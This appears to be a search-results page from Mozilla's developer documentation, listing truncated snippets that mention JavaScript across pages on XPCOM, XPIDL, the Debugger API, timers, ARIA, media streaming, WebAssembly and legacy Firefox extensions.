...nd 1.9, for example). The more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between Gecko versions. This can create a difficult situation for extension developers trying to support multiple Gecko versions (Firefox 2 and 3, for example).Creating a Python XPCOM componentCreating Applications with Mozilla already provides a tutorial for making a simple
JavaScript or C++ component (implementing the nsISimple interface). Here is how to make the same component in Python using PyXPCOM.Fun With XBL and XPConnectGenerating GUIDsGUIDs are used in Mozilla programming for identifying several types of entities, including XPCOM Interfaces (this type of GUIDs is callled IID), components (CID), and legacy add-ons--like extensions and themes--that were created prior to...
... anytime a simple implementation of nsIFactory is needed. Here is the interface, and a description of its use.</t>How to build a binary XPCOM component using Visual StudioThis is a simple tutorial for building XPCOM objects in C++ using Visual Studio. XPCOM is Mozilla's cross platform component object model, similar to Microsoft's COM technology. XPCOM components can be implemented in C, C++, and
JavaScript, and can be used from C, C++, and
JavaScript. That means you can call
JavaScript methods from C++ and vice versa. For more information on the workings of XPCOM look elsewhere.How To Pass an XPCOM Object to a New WindowIf you want to be able to call functions within an XPCOM object from a XUL window's code, you can do so if you pass the XPCOM object as one of the arguments to the window creation m...
...And 3 more matches
XPIDL
le. Constants are emitted in header files using anonymous enums, although there is an outstanding patch that combines adjacent constants into the same anonymous enums to quiet enum mismatch warnings. Interfaces Specifying interfaces is the primary purpose of using xpidl. Interfaces are basically a collection of constants, methods, and attributes; in Mozilla, these are the primary ways in which
JavaScript code can interact with native C++ code. Furthermore, interfaces can also inherit from another interface. Every interface should inherit nsISupports in some fashion. However, it is generally not recommended to have a chain of interfaces inheriting from each other if you intend to have a chain of implementations for each interface, as it can cause problems in C++ code. Table 4: Basic interface a...
...4: Basic interface attributes Attribute Interpretation uuid(12345678-fedc-ba98-7654-0123456789ab) This is the internal way this interface is accessed; it must be unique, and the uuid must be generated when creating the interface. After that, it doesn't need to be changed any more. For instructions on how to generate an UUID see Generating GUIDs. builtinclass
JavaScript classes are forbidden from implementing this interface. All children must also be marked with this property. function The
JavaScript implementation of this interface may be a function that is invoked on property calls instead of an object with the given property scriptable This interface is usable by
JavaScript classes. Must inherit from a scriptable interface. Meth...
...rty. function The
JavaScript implementation of this interface may be a function that is invoked on property calls instead of an object with the given property scriptable This interface is usable by
JavaScript classes. Must inherit from a scriptable interface. Methods and attributes Interfaces declare a series of attributes and methods. Attributes in IDL are akin to
JavaScript properties, in that they are a getter and (optionally) a setter pair. In
JavaScript contexts, attributes are exposed as a regular property access, while native code sees attributes as a Get and possibly a Set method. Attributes can be declared readonly, in which case setting causes an error to be thrown in script contexts and native contexts lack the Set method, by using the "readonly" keyword. ...
...And 3 more matches
Debugger - Firefox Developer Tools
itself from the debuggee, regardless of what sort of events or handlers or "points" we add to the interface. allowUnobservedAsmJS A boolean value indicating whether asm.js code running inside this Debugger instance's debuggee globals is invisible to Debugger API handlers and breakpoints. Setting this to false inhibits the ahead-of-time asm.js compiler and forces asm.js code to run as normal
JavaScript. This is an accessor property with a getter and setter. It is initially false in a freshly created Debugger instance. Setting this flag to true is intended for uses of subsystems of the Debugger API (e.g, Debugger.Source) for purposes other than step debugging a target
JavaScript program. allowWasmBinarySource A boolean value indicating whether WebAssembly sources will be available in binar...
... is only available to debuggers running in privileged code ("chrome", in Firefox). Most functions provided by this Debugger API observe activity in only those globals that are reachable by the API's user, thus imposing capability-based restrictions on a Debugger's reach. However, the onNewGlobalObject method allows the API user to monitor all global object creation that occurs anywhere within the
JavaScript system (the "JSRuntime", in SpiderMonkey terms), thereby escaping the capability-based limits. For this reason, onNewGlobalObject is only available to privileged code. Function Properties of the Debugger Prototype Object The functions described below may only be called with a this value referring to a Debugger instance; they may not be used as methods of other kinds of objects. addDebugge...
...y available to debuggers running in privileged code ("chrome", in Firefox). Most functions provided by this Debugger API observe activity in only those globals that are reachable by the API's user, thus imposing capability-based restrictions on a Debugger's reach. However, the addAllGlobalsAsDebuggees method allows the API user to monitor all global object creation that occurs anywhere within the
JavaScript system (the "JSRuntime", in SpiderMonkey terms), thereby escaping the capability-based limits. For this reason, addAllGlobalsAsDebuggees is only available to privileged code. removeDebuggee(global) Remove the global object designated byglobal from this Debugger instance's set of debuggees. Return undefined. This method interpretsglobal using the same rules that addDebuggee does. Removin...
...And 3 more matches
Debugger.Object - Firefox Developer Tools
erent routes (perhaps two functions are called on the same object), SpiderMonkey presents the same Debugger.Object instance to the debugger each time. This means that the debugger can use the == operator to recognize when two Debugger.Object instances refer to the same debuggee object, and place its own properties on a Debugger.Object instance to store metadata about particular debuggee objects.
JavaScript code in different compartments can have different views of the same object. For example, in Firefox, code in privileged compartments sees content DOM element objects without redefinitions or extensions made to that object's properties by content code. (In Firefox terminology, privileged code sees the element through an "xray wrapper".) To ensure that debugger code sees each object just as the deb...
...operties are equal. If a function has no name, SpiderMonkey attempts to infer an appropriate name for it given its context. For example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; Note that the display name may not be a proper
JavaScript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property. Thus, we use a/b to refer to the b defined within a, and a< to refer to a function that occurs somewhere within an expression that is assigned to a. For example: function h() { var i = function() {}; // display name: h/i f...
...was allocated by debuggee code, this is null. global A Debugger.Object instance referring to the global object in whose scope the referent was allocated. This does not unwrap cross-compartment wrappers: if the referent is a wrapper, the result refers to the wrapper's global, not the wrapped object's global. The result refers to the global directly, not via a wrapper. hostAnnotations A
JavaScript object providing further metadata about the referent, or null if none is available. The metadata object is in the same compartment as this Debugger.Object instance. The same metadata object is returned each time for a given Debugger.Object instance. A typical
JavaScript embedding provides "host objects" to expose application-specific functionality to scripts. The hostAnnotations accessor consul...
...And 3 more matches
ByteLengthQueuingStrategy - Web APIs
To change preferences in Firefox, visit about:config.IE No support NoOpera Full support 46Safari ? WebView Android Full support 59Chrome Android Full support ...
...To change preferences in Firefox, visit about:config.Opera Android Full support 43Safari iOS ? Samsung Internet Android Full support 7.0ByteLengthQueuingStrategy() constructor ExperimentalChrome Full support ...
...To change preferences in Firefox, visit about:config.IE No support NoOpera Full support 46Safari ? WebView Android Full support 59Chrome Android Full support ...
...And 3 more matches
CountQueuingStrategy - Web APIs
To change preferences in Firefox, visit about:config.IE No support NoOpera Full support 46Safari ? WebView Android Full support 59Chrome Android Full support ...
...To change preferences in Firefox, visit about:config.Opera Android Full support 43Safari iOS ? Samsung Internet Android Full support 7.0CountQueuingStrategy() constructor ExperimentalChrome Full support ...
...To change preferences in Firefox, visit about:config.IE No support NoOpera Full support 46Safari ? WebView Android Full support 59Chrome Android Full support ...
...And 3 more matches
Boilerplate 1 - Web APIs
So we are going to hide them from now on. This would allow us to focus on the interesting pieces of code that are most relevant for learning WebGL. ...
...So we are going to hide them from now on. This would allow us to focus on the interesting pieces of code that are most relevant for learning WebGL. ...
...hat are most relevant for learning WebGL. Specifically, the HTML has a <p> element that contains some descriptive text about the page and may also hold error messages; a <canvas> element; and optionally a <button>. The CSS contains rules for body, canvas, and button. Any additional non-trivial CSS and HTML will be displayed on the pages of specific examples. ...
...And 3 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
ing the first button will set a timeout which calls an alert dialog after two seconds and stores the timeout id for use by clearTimeout(). You may optionally cancel this timeout by pressing on the second button. HTML <p>Live Example</p> <button onclick="delayedAlert();">Show an alert box after two seconds</button> <p></p> <button onclick="clearAlert();">Cancel alert before it happens</button>
JavaScript var timeoutID; function delayedAlert() { timeoutID = window.setTimeout(window.alert, 2*1000, 'That was really slow!'); } function clearAlert() { window.clearTimeout(timeoutID); } Result See also clearTimeout() example. Polyfill If you need to pass one or more arguments to your callback function, but need it to work in browsers which don't support sending additional arguments using e...
...d it to work in browsers which don't support sending additional arguments using either setTimeout() or setInterval() (e.g., Internet Explorer 9 and below), you can include this polyfill to enable the HTML5 standard arguments-passing functionality. Just add this code to the top of your script: /*\ |*| |*| Polyfill which enables the passage of arbitrary arguments to the |*| callback functions of
JavaScript timers (HTML5 standard syntax). |*| |*| https://developer.mozilla.org/docs/DOM/window.setInterval |*| |*| Syntax: |*| var timeoutID = window.setTimeout(func, delay[, arg1, arg2, ...]); |*| var timeoutID = window.setTimeout(code, delay); |*| var intervalID = window.setInterval(func, delay[, arg1, arg2, ...]); |*| var intervalID = window.setInterval(code, delay); |*| \*/ (function() { setT...
...rgumentToPass2, etc. */ ) { var aArgs = Array.prototype.slice.call(arguments, 2); return __nativeSI__(vCallback instanceof Function ? function() { vCallback.apply(null, aArgs); } : vCallback, nDelay); }; }, 0, 'test'); }()) IE-only fix If you want a completely unobtrusive fix for every other mobile or desktop browser, including IE 9 and below, you can either use
JavaScript conditional comments: /*@cc_on // conditional IE < 9 only fix @if (@_jscript_version <= 9) (function(f){ window.setTimeout = f(window.setTimeout); window.setInterval = f(window.setInterval); })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}}); @end @*/ ... or go for a very clean approa...
...And 3 more matches
ARIA - Accessibility
Accessible Rich Internet Applications (ARIA) is a set of attributes that define ways to make web content and web applications (especially those developed with
JavaScript) more accessible to people with disabilities. It supplements HTML so that interactions and widgets commonly used in applications can be passed to assistive technologies when there is not otherwise a mechanism. For example, ARIA enables accessible navigation landmarks in HTML4,
JavaScript widgets, form hints and error messages, live content updates, and more. Many of these widgets were later incorporated into HTML5, and developers should prefer using the correct semantic HTML element over using ARIA, if such an element exists. For instance, native elements have built-in keyboard accessibility, roles and states. However, ...
...ia-valuemin="0" aria-valuemax="100"> </div> This progress bar is built using a <div>, which has no meaning. Unfortunately, there isn't a more semantic tag available to developers in HTML 4, so we need to include ARIA roles and properties. These are specified by adding attributes to the element. ...
...se are specified by adding attributes to the element. In this example, the role="progressbar" attribute informs the browser that this element is actually a
JavaScript-powered progress bar widget. The aria-valuemin and aria-valuemax attributes specify the minimum and maximum values for the progress bar, and the aria-valuenow describes the current state of it and therefore must be kept updated with
JavaScript. Along with placing them directly in the markup, ARIA attributes can be added to the element and updated dynamically using
JavaScript code like this: // Find the progress bar <div> in the DOM. var progressBar = document.getElementById("percent-loaded"); // Set its ARIA roles and states, // so that assistive technologies know what kind of widget it is. progressBar.setAttribute("role", "progress...
...And 3 more matches
Live streaming web audio and video - Developer guides
from firewalls or proxy servers. Using streaming protocols The process of using the various protocols is reassuringly familiar if you are used to working with media over HTTP. For example: <video src="rtsp://myhost.com/mymedia.format"> <!-- Fallback here --> </video> Media Source Extensions (MSE) Media Source Extensions is a W3C working draft that plans to extend HTMLMediaElement to allow
JavaScript to generate media streams for playback. Allowing
JavaScript to generate streams facilitates a variety of use cases like adaptive streaming and time shifting live streams. For example, you could implement MPEG-DASH using
JavaScript while offloading the decoding to MSE. Note: Time Shifting is the process of consuming a live stream sometime after it happened. Video Streaming File Formats A co...
...see support across browsers. Note: You can find a guide to encoding HLS and MPEG-DASH for use on the web at Setting up adaptive streaming media sources. MPEG-DASH DASH stands for Dynamic Adaptive Streaming over HTTP and is a new format that has recently seen support added to Chrome, and Internet Explorer 11 running on Windows 8.1. It is supported via Media Source Extensions which are used by
JavaScript libraries such as DASH.js. This approach allows us to download chunks of the video stream using XHR and "append" the chunks to the stream that's played by the <video> element. So for example, if we detect that the network is slow, we can start requesting lower quality (smaller) chunks for the next segment. This technology also allows an advertising segment to be appended/inserted into the stream.
...unks for the next segment. This technology also allows an advertising segment to be appended/inserted into the stream. Note: you can also use WebM with the MPEG DASH adaptive streaming system. HLS HLS or HTTP Live Streaming is a protocol invented by Apple Inc and supported on iOS, Safari and the latest versions of Android browser / Chrome. HLS is also adaptive. HLS can also be decoded using
JavaScript, which means we can support the latest versions of Firefox, Chrome and Internet Explorer 10+. See this HTTP Live Streaming
JavaScript player. At the start of the streaming session, an extended M3U (m3u8) playlist is downloaded. This contains the metadata for the various sub-streams that are provided. Streaming File Format Support Browser DASH HLS Opus (Audio) Fir...
...And 3 more matches
Video player styling basics - Developer guides
CSS alteration The previous article simply set the display property of the video controls to block in order to display them. This has now been changed to use a data-state attribute, which this code already uses to handle its fullscreen implementation. This "data-state" idea is also used for setting the current state of buttons within the video control set, which allows specific state styling.
JavaScript As mentioned above, a data-state attribute is used in various places for styling purposes and these are set using
JavaScript. Specific implementations will be mentioned at appropriate places below. Styling The resultant video player style used here is rather basic -- this is intentional, as the purpose is to show how such a video player could be styled and be made responsive. Note: in some c...
...controls progress span { width:0%; height:100%; display:inline-block; background-color:#2a84cd; } A .data-state class is also used here when a <progress> element is being "faked"; when it's in this state the background colour needs to be set. The internal <span> element used as the actual progressing part of the faked progress bar has its width initially set to 0% (it is updated via
JavaScript) and it also has its background colour set. There are some browser-specific properties that need to be set to ensure that Firefox and Chrome use the required colour for the progress bar: .controls progress::-moz-progress-bar { background-color:#0095dd; } .controls progress::-webkit-progress-value { background-color:#0095dd; } Although the same properties are set to the same value, these...
...-specific properties that need to be set to ensure that Firefox and Chrome use the required colour for the progress bar: .controls progress::-moz-progress-bar { background-color:#0095dd; } .controls progress::-webkit-progress-value { background-color:#0095dd; } Although the same properties are set to the same value, these rules need to be defined separately, otherwise Chrome ignores it. ...
...And 3 more matches
Overview of events and handlers - Developer guides
This overview of events and event handling explains the code design pattern used to react to incidents occurring when a browser accesses a web page, and it summarizes the types of such incidents modern web browsers can handle. Events and event handling provide a core technique in
JavaScript for reacting to incidents occurring when a browser accesses a web page, including events from preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing. Events and event handling become central to web programming with the addition of the language to browsers, accompanying a switch in the rendering architecture of browsers from fetch and load pa...
... to the event driven browser. The latter approach changes the last steps from a single flow into a perpetual loop, where waiting for and handling the incidence of new events follows painting. The innovation of the dynamic approach allows for a page to be partially rendered even when the browser has not finished retrieving all resources; this approach also allows for event driven actions, which
JavaScript leverages. (The talk is available from several sources, including this one.) Currently, all execution environments for
JavaScript code use events and event handling. The event design pattern The event system, at its core, is simply a programming design pattern. The pattern starts with an agreement over a kind of event and: the name String used for the event, the type of the data structure u...
...luding this one.) Currently, all execution environments for
JavaScript code use events and event handling. The event design pattern The event system, at its core, is simply a programming design pattern. The pattern starts with an agreement over a kind of event and: the name String used for the event, the type of the data structure used to represent the key properties of that event, and the
JavaScript object which will 'emit' that event. The pattern is implemented by defining a
JavaScript function which takes as an argument the data structure which was agreed upon, and registering the function using the name String with the object which will emit the event. The function is said to be a 'listener' or a 'handler' with both names used interchangeably. This pattern can easily be followed u...
...And 3 more matches
Rich-Text Editing in Mozilla - Developer guides
g.</span> Internet Explorer: <STRONG>I love geckos.</STRONG> <STRONG><EM><U>Dinosaurs are big.</U></EM></STRONG> Another difference between Mozilla and IE is how to access the document object of an iframe, which is usually used in conjunction with designMode. Mozilla uses the W3C standard way, namely IFrameElement.contentDocument, while IE requires IFrameElement.document. DevEdge provides a
JavaScript helper class, xbDesignMode, which is a wrapper for the designMode feature which hides the differences between IE and Mozilla. Event Handling Disabled A further difference for Mozilla is that once a document is switched to designMode, all events on that particular document are disabled. Once designMode is turned off however (as this now seems possible in Mozilla 1.5) the events become active a...
...ection of Migrate apps from Internet Explorer to Mozilla. Examples Please note: The example files are still being migrated from another site. They are not available at this time. --fumble 18:13, 24 Apr 2005 (PDT) Example 1 The first example is an HTML document setting its own designMode to "On". This makes the entire document editable in Mozilla 1.3. Internet Explorer, however, does not allow
javascript to change the current document's designMode. For it to work in Internet Explorer, the contentEditable attribute of the body tag needs to be set to "true". Figure 2 : First example HTML: <body contentEditable="true" onload="load()">
JavaScript: function load(){ window.document.designMode = "On"; } Example 2 The second example is a simple rich text editing page, where text can be bolded/ita...
... Example 2 The second example is a simple rich text editing page, where text can be bolded/italicized/underlined, new links can be added and the color of text changed. The example page consists of an iframe, which will be the rich editing area, as well as elements for basic editing commands such as bold/italics/text color. ...
...And 3 more matches
CSS Houdini
g into the styling and layout process of a browser's rendering engine. Houdini is a group of APIs that give developers direct access to the CSS Object Model (CSSOM), enabling developers to write code the browser can parse as CSS, thereby creating new CSS features without waiting for them to be implemented natively in browsers. Advantages of Houdini Houdini enables faster parse times than using
JavaScript .style for style changes. Browsers parse the CSSOM -- including layout, paint, and composite processes -- before applying any style updates found in scripts. In addition, layout, paint, and composite processes are repeated for
JavaScript style updates. Houdini code doesn't wait for that first rendering cycle to be complete. Rather, it is included in that first cycle -- creating renderable, unders...
...omposite processes -- before applying any style updates found in scripts. In addition, layout, paint, and composite processes are repeated for
JavaScript style updates. Houdini code doesn't wait for that first rendering cycle to be complete. Rather, it is included in that first cycle -- creating renderable, understandable styles. Houdini provides an object-based API for working with CSS values in
JavaScript. Houdini's CSS Typed OM is a CSS Object Model with types and methods, exposing values as
JavaScript objects making for more intuitive CSS manipulation than previous string based HTMLElement.style manipulations. Every element and style sheet rule has a style map which is accessible via its StylePropertyMap. A feature of CSS Houdini is the Worklet. With worklets, you can create modular CSS, requi...
... <script> CSS.paintWorklet.addModule('csscomponent.js'); </script> This added module contains registerPaint() functions, which register completely configurable worklets. ...
...And 3 more matches
Performance fundamentals - Web Performance
ptimizations This section provides a brief overview of how Firefox/Gecko contributes to performance generally, below the level of all applications. From a developer's or user's perspective, this answers the question, "What does the platform do for you?" Web technologies The Web platform provides many tools, some better suited for particular jobs than others. All application logic is written in
JavaScript. To display graphics, developers can use HTML or CSS (i.e. high-level declarative languages), or use low-level imperative interfaces offered by the <canvas> element (which includes WebGL). Somewhere "in between" HTML/CSS and Canvas is SVG, which offers some benefits of both. HTML and CSS greatly increase productivity, sometimes at the expense of framerate or pixel-level control over rendering. T...
...opers to draw on. This gives developers pixel-level control over rendering and precise control of framerate, but now the developers need to deal with multiple resolutions and orientations, right-to-left languages, and so forth. Developers draw to canvases using either a familiar 2D drawing API, or WebGL, a "close to the metal" binding that mostly follows OpenGL ES 2.0. Gecko rendering The Gecko
JavaScript engine supports just-in-time (JIT) compilation. This enables application logic to perform comparably to other virtual machines -- such as Java virtual machines -- and in some cases even close to "native code". The graphics pipeline in Gecko that underpins HTML, CSS, and Canvas is optimized in several ways. The HTML/CSS layout and graphics code in Gecko reduces invalidation and repainting for com...
... JS file needed for an uncommon menu"; "fetch and decode the image for the High Scores list", etc. Those work items are not on the critical path to painting the first frame. It seems obvious, but to reach a user-perceived startup event more quickly, the main "trick" is run only the code on the critical path. Shorten the critical path by simplifying the scene. The Web platform is highly dynamic.
JavaScript is a dynamically-typed language, and the Web platform allows loading code, HTML, CSS, images, and other resources dynamically. These features can be used to defer work that's off the critical path by loading unnecessary content "lazily" some time after startup. Another problem that can delay startup is idle time, caused by waiting for responses to requests (like database loads). To avoid this pr...
...And 3 more matches
Exported WebAssembly functions - WebAssembly
Exported WebAssembly functions are how WebAssembly functions are represented in
JavaScript. This article describes what they are in a little more detail. Exported... what? Exported WebAssembly functions are basically just
JavaScript wrappers that represent WebAssembly functions in
JavaScript. When you call them, you get some activity in the background to convert the arguments into types that wasm can work with (for example converting
JavaScript numbers to Int32), the arguments are passed to the function inside your wasm module, the function is invoked, and the result is converted and passed back to
JavaScript. You can retrieve exported WebAssembly functions in two ways: By calling Table.prototype.get() on an existing table. By accessing a function exported from a wasm module instance via Ins...
...on inside your wasm module, the function is invoked, and the result is converted and passed back to
JavaScript. You can retrieve exported WebAssembly functions in two ways: By calling Table.prototype.get() on an existing table. By accessing a function exported from a wasm module instance via Instance.exports. Either way, you get the same kind of wrapper for the underlying function. From a
JavaScript point of view, it's as if every wasm function is a
JavaScript function too -- but they are encapsulated by the exported wasm function object instance and there are only limited ways to access them. An example Let's look at an example to clear things up (you can find this on GitHub as table-set.html; see it running live also, and check out the wasm text representation): var otherTable = new Web...
... We then get the function exported from the module, retrieve the functions it references via tbl.get() and log the result of invoking each one to the console. Next, we use set() to make the otherTable table contain references to the same functions as the tbl table. ...
...And 3 more matches
Index - WebAssembly
Tags and summary 1 WebAssembly Landing, WebAssembly, wasm WebAssembly is a new type of code that can be run in modern web browsers -- it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as C/C++ with a compilation target so that they can run on the web. It is also designed to run alongside
JavaScript, allowing both to work together. 2 Caching compiled WebAssembly modules Caching, IndexedDB,
JavaScript, Module, WebAssembly, compile, wasm Caching is useful for improving the performance of an app -- we can store compiled WebAssembly modules on the client so they don't have to be downloaded and compiled every time. This article explains the best practices around this. ...
...t format, wabt, wasm, wast2wasm, wat2wasm WebAssembly has an S-expression-based textual representation, an intermediate form designed to be exposed in text editors, browser developer tools, etc. This article explains a little bit about how it works, and how to use available tools to covert text format files to the .wasm assembly format. ...
..., browser developer tools, etc. This article explains a little bit about how it works, and how to use available tools to covert text format files to the .wasm assembly format. 7 Exported WebAssembly functions Guide,
JavaScript, WebAssembly, export, exported functions, exported wasm functions, wasm Exported WebAssembly functions are how WebAssembly functions are represented in
JavaScript. This article describes what they are in a little more detail. 8 Index Index, WebAssembly Found 12 pages: 9 Loading and running WebAssembly code Fetch,
JavaScript, WebAssembly, XMLHttpRequest, bytecode To use WebAssembly in
JavaScript, you first need to pull your module into memory before compilation/instantiation. This article provides a reference for th...
...And 3 more matches
WebAssembly
WebAssembly is a new type of code that can be run in modern web browsers -- it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as C/C++, C# and Rust with a compilation target so that they can run on the web. It is also designed to run alongside
JavaScript, allowing both to work together. ...
...can run on the web. It is also designed to run alongside
JavaScript, allowing both to work together. In a Nutshell WebAssembly has huge implications for the web platform -- it provides a way to run code written in multiple languages on the web at near native speed, with client apps running on the web that previously couldn't have done so. WebAssembly is designed to complement and run alongside
JavaScript -- using the WebAssembly
JavaScript APIs, you can load WebAssembly modules into a
JavaScript app and share functionality between the two. This allows you to take advantage of WebAssembly's performance and power and
JavaScript's expressiveness and flexibility in the same apps, even if you don't know how to write WebAssembly code. And what's even better is that it is being developed as a web stand...
...e them on the web. Compiling from Rust to WebAssembly If you've written some Rust code, you can compile it into WebAssembly! This tutorial takes you through all you need to know to compile a Rust project to wasm and use it in an existing web app. Loading and running WebAssembly code After you have a .wasm, this article covers how to fetch, compile and instantiate it, combining the WebAssembly
JavaScript API with the Fetch or XHR APIs. Using the WebAssembly
JavaScript API Once you've loaded a .wasm module, you'll want to use it. In this article we show you how to use WebAssembly via the WebAssembly
JavaScript API. Exported WebAssembly functions Exported WebAssembly functions are the
JavaScript reflections of WebAssembly functions which allow calling WebAssembly code from
JavaScript. This arti...
...And 3 more matches
2015 MDN Fellowship Program - Archive of obsolete content
ecifications to identify gaps between the documentation and current situation and refine existing tests to adapt to this cross-browser test harness. Activities and Deliverables Identify gaps between existing documentation and current development environments. The work would entail refining existing tests to adapt to this framework. Required skills and experience Experience and comfort writing
Javascript test scripts. Mentor Information Josh Matthews, Mozilla Platform Group. GitHub: jdm Twitter: @lastontheboat Service Workers Brief Project Description Service workers essentially act as proxy servers that sit between web applications, the browser and (when available) the network. They enable the creation of effective offline experiences and wiill also allow access to push notifications a...
...n available) the network. They enable the creation of effective offline experiences and wiill also allow access to push notifications and background sync APIs. Activities and Deliverables Write a demonstration web application (new or existing) to showcase Service Worker functionality. Provide detailed API descriptions. Required skills and experience Experienced Web developer with expertise in
JavaScript, CSS, HTML as well as with efficient network interaction (queuing resource fetching, etc.). Self-starter and autonomous worker Mentor information Brittany Storoz, Mozilla Apps Engineering. GitHub: brittanystoroz Twitter: @brittanystoroz WebGL Brief Project Description WebGL is the latest incarnation of the OpenGL family of real time rendering immediate mode graphics APIs. WebGL is getti...
...getting some cool new features in 2015 with the standardization efforts around the WebGL 2.0 spec being published. Activities and Deliverables Help us develop a curriculum on MDN for teaching developers new to graphics programming the WebGL APIs. Required skills and experience Computer graphics experience with programmable shaders and the OpenGL, OpenGL ES, WebGL, or Direct3D APIs. Command of
JavaScript and module systems preferred. Mentor information Nick Desaulniers, Sleeps at Desk. GitHub: nickdesaulniers Twitter: @LostOracle Web App Performance Brief Project Description Web performance is a feature that needs to be considered from serving content to rendering to interactivity. Finding and addressing performance bottlenecks depends on tooling the browser networking and rendering but...
...And 2 more matches
Miscellaneous - Archive of obsolete content
dth: 10em;"> This is the scrolling area. This is the scrolling area. This is the scrolling area. This is the scrolling area. This is the scrolling area. This is the scrolling area. This is the scrolling area. This is the scrolling area. This is the scrolling area. This is the scrolling area. This is the scrolling area. This is the scrolling area. ...
...source/browser/base/content/browser.js#4674 Discovering which element in the loaded document has focus // focusedControl stores the focused field, or null if there is none. // This excludes textareas for simplicity, but onPageLoad() can easily be // modified to cycle through textareas as well. Further enhancements would include // handling for fields dynamically added to the page (e.g., by page
javascript). var focusedControl; window.addEventListener("load", function(e) { onWindowLoad(e); }, false); function onWindowLoad() { gBrowser.addEventListener("load", onPageLoad, true); } function onPageLoad() { pageDoc = document.commandDispatcher.focusedWindow.document; var inputList = pageDoc.getElementsByTagName('input'); for (var i=1; i<inputList.length; i++) { inputList.item(i). ad...
... currentValue.substring(0, element.selectionStart); var afterText = currentValue.substring(element.selectionEnd, currentValue.length); element.value = beforeText + snippet + afterText; element.focus(); //put the cursor after the inserted text element.setSelectionRange(selectionEnd, selectionEnd); } insertText(document.getElementById("example"), "the text to be inserted"); Disabling
JavaScript programmatically // Disable JS in the currently active tab from the context of browser.xul gBrowser.docShell.allow
Javascript = false; If this isn't your browser, you should save the value and restore it when finished. If you wish to block selected scripts based on their URI, implement nsIContentPolicy. Using string bundles from
JavaScript Assuming the extension has myext.properties with name...
...And 2 more matches
Preferences - Archive of obsolete content
To add a default value for a preference, you should add a line like this to your default preferences file: pref("extensions.extensionname.preferencename", false); How to install an extension's defaults files For Mozilla Suite (not Firefox and Thunderbird), copy them to (appdir)/defaults/pref in your install script. For Firefox/Thunderbird, just put them in myext.xpi/defaults/pre...
... var prefService = Components.classes["@mozilla.org/preferences-service;1"] .getSe...
...f the Toolkit applications (Firefox, Thunderbird, Nvu), you should provide default values for your extension's preferences (see above for information on how to do it). It has the following benefits: You don't have to duplicate default values in various parts of your code. The code for reading preferences is simplified, since you don't need to worry about the get methods throwing exceptions. ...
...And 2 more matches
Chapter 1: Introduction to Extensions - Archive of obsolete content
ed tabs to the History menu. Locationbar Separates a URL's domain and path in the location bar for easier reading. Feature enhancing extensions FIXME: Update this. These extensions enhance features that already exist in Firefox. Tab Mix Plus Offers detailed tab-related settings. PrefBar Gives access to numerous preferences from the toolbar. NoScript Enables and disables
JavaScript execution on a site-by-site basis. Web application integration extensions FIXME: Update this. The use the APIs of certain web applications to provide certain pieces of information. New feature extensions FIXME: Update this. Extensions can add completely new features to Firefox. This class of extension requires a greater level of knowledge and programming ability. GreaseMonkey UserChr...
...sions FIXME: Update this. The use the APIs of certain web applications to provide certain pieces of information. New feature extensions FIXME: Update this. Extensions can add completely new features to Firefox. This class of extension requires a greater level of knowledge and programming ability. GreaseMonkey UserChrome.js Both of these provide an environment for running user scripts (
JavaScript) in Firefox itself, where the scripts can target specific websites. Adblock Plus Blocks the display of unwanted advertisements on web pages. All-in-One Gestures Adds mouse-gesture functionality. Application level extensions FIXME: Update this. These are sophisticated extensions that can be considered full-scale applications in their own right, essentially using Firefox as the developme...
...Firefox Customization Method Does it work for web sites? Does it work for Firefox? User style sheets (change appearance through CSS) Yes; you can change the userContent.css file, or use the Stylish extension. Yes; you can change the userChrome.css file, or use the Stylish extension. User scripts (change appearance and functionality through
JavaScript) Yes; you can use the GreaseMonkey extension or "bookmarklets." Yes; you can change userChrome.js to add functionality through
JavaScript. Extensions (these can do anything) Yes Yes Theming (this changes the look of the browser) No Yes Let's build an extension Table 1 shows the various customization options available to a user in Firef...
...And 2 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
s FIXME: We need to add a part about 'why and how to create your own component' C++/JS This document was authored by Hiroshi Shimoda of Clear Code Inc. and was originally published in Japanese for the Firefox Developers Conference Summer 2007. Mr. Shimoda is a co-author of Firefox 3 Hacks (O'Reilly Japan, 2008). This chapter explains how to use XPCOM to implement advanced processes using only
JavaScript. Introduction
JavaScript lacks functions for opening files and character-code conversion, among other things. A different mechanism is needed to perform these functions. Internet Explorer handles this using ActiveX; in Firefox, we use the Cross-Platform Component Object Model, or XPCOM. Due to deprecation of enablePrivilege this functionality can not be used in web pages. EnablePrivilege is di...
... helpful to search on the source code for usage examples within Firefox. Note: To look at the Firefox 3 source code, choose "Firefox 3" in the Starting Points list. For Firefox 3.5 choose "Mozilla 1.9.1." For the current development trunk of Firefox, choose "Mozilla Central" and for Thunderbird, choose "Comm. Central". Calling XPCOM from XPConnect Use the XPConnect technology to use XPCOM in
JavaScript. Listing 1 shows how you can use XPConnect to acquire references to XPCOM services and create new XPCOM objects. Each component is identified with a contract ID in the form @domain_name/module_name/component_name;version_number, and implements one or more interfaces that determine what functions can be called on these components. Interfaces names usually have the forms nsIxxx. In order to have a...
...). Those are created with createInstance(). It's important to know whether a component should be created with getService() or createInstance(), because using one instead of the other can cause problems. Listing 1: Calling XPCOM functions using XPConnect <?xml version="1.0" encoding="UTF-8"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/
javascript"><![CDATA[ var ioService = Components.classes['@mozilla.org/network/io-service;1'] .getService(Components.interfaces.nsIIOService); alert(ioService); ]]></script> </page> Calling XPConnect using local files Try saving the contents of Listing 1 as the file test.xul, somewhere on your desktop, and drag and drop it into Firefox to open it. You'll note that even though t...
...And 2 more matches
Adding windows and dialogs - Archive of obsolete content
